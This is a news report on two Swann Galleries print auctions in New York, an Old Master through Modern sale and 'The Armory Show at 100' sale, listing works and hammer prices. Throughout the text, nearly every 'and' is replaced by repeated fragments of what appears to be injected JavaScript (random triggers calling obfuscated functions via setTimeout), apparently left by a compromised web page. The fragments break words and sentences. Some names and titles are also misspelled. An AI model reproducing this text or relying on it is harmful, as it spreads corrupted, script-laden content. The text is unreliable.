NEW YORK CITY — Swann Galleries conducted back-to-back art auctions this fall, with Old Master through Modern prints October 30, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a curated sale on November 5, “The Armory Show at 100,” in honor of the 100th anniversary of the 1913 show that introduced modern art to the United States. 

Swann is known for Old Master prints andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the October sale offered works by Albercht Dürer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Rembrandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andt van Rijn, from of the Toledo Museum of Art, Ohio, to benefit its acquisitions fund. Among these were some of the auction’s top lots, including Dürer’s “St Jerome in his Study,” engraving, 1514, which fetched $173,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his “Melencolia I” engraving, 1514, at $149,000 — both examples of the artist’s meisterstiche, or master engravings.

Among Rembrandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andt highlights in the auction were two impressions of “Christ Healing the Sick (The Hundred Guilder Print),” etching, engraving andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drypoint, circa 1643–49. One brought $161,000, the other $40,000. Also desirable were his “The Adoration of the Shepherds” with the “Lamp” etching, circa 1654, at $35,000; “Self Portrait in a Velvet Cap andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Plume,” a 1638 etching going out at $23,750; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Bearded Man in a Velvet Cap with a Jewel Clasp,” an etching from 1637 that fetched $20,000.

Additional Old Masters of note were Jan Muller (after Spranger), “Minerva Giving Arms to Perseus, Mercury Fastening the Wings at his Feet,” engraving, 1604, at $30,000; a collection of 26 engravings of Grotteschi, French school, Seventeenth Century, for $62,500; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Giovanni B. Piranesi’s “Carceri d’Invenzione,” set of 16 etchings with engraving, 1749–50, at $20,000.

Modern highlights included “Carmen,” color lithograph after Marc Chagall, 1967, that took $47,500; Martin Lewis’s “Glow of the City,” etching, 1929, that fetched $40,000; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Rain on Murray Hill,” drypoint, 1928, which realized $23,750. “Nature morte devant une Fenêtre à St Raphael,” after Pablo Picasso, color photogravure with drypoint andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and aquatint, 1919, sold for $28,750, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Henri Matisse’s “Masque au Petit Nez,” aquatint, 1948, brought $22,500.

Edvard Munch’s “Der Kuss” was the top lot in the November 5 Armory Show auction. The etching from 1895 is scarce andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and this impression showed all of the fine details andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and burnishing in the subjects. It attained $185,000.

Other Munch highlights were “Der To dim Ktankenzimmer,” lithograph, 1896, $60,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Kvinnehode, drypoint, 1902, $20,000.

The top American print was John Marin’s “Woolworth Building (The Dance),” etching andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drypoint, 1913, at $81,250.

A pair of Duchamp works set new auction records. “La Mariée,” a color aquatint andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and etching after the same titled painting, 1934, sold for $40,000; while Pharmacie, color collotype with handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coloring in gouache, 1945, brought $25,000.

Also achieving record prices were James A.M. Whistler’s “The Smithy,” etching andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drypoint, 1880, that went out at $21,250; Paul Signac’s “Le Dimanche Parisien,” lithograph, 1887, that sold for $17,500; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a copy of the official poster for the 1913 Armory Show, International Exhibition of Modern Art, which beat all previous auction prices to sell for $27,500.

Rounding out the Armory Show sale were Georges Braque’s “Etude de Nu,” etching andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drypoint, 1907–08, for $45,000; Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Léger’s “Le Vase,” color lithograph, 1927, at $37,500; Pierre-Auguste Renoir’s “L’Album des Douze Lithographies Originales,” complete set of 12 lithographs, 1904–19, for $30,000; while Paul Gauguin’s “Mahna no Varua Ino,” woodcut, 1893–94, made $27,500; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two nudes by Henri Matisse, “Nu Debout au Peignoir,” etching, 1929, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Nu assis, vu de dos,” lithograph, 1913, brought $23,750 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $21,250, respectively.

All prices reported include the buyer’s premium. For information, 212-254-4710 or www.swanngalleries.com.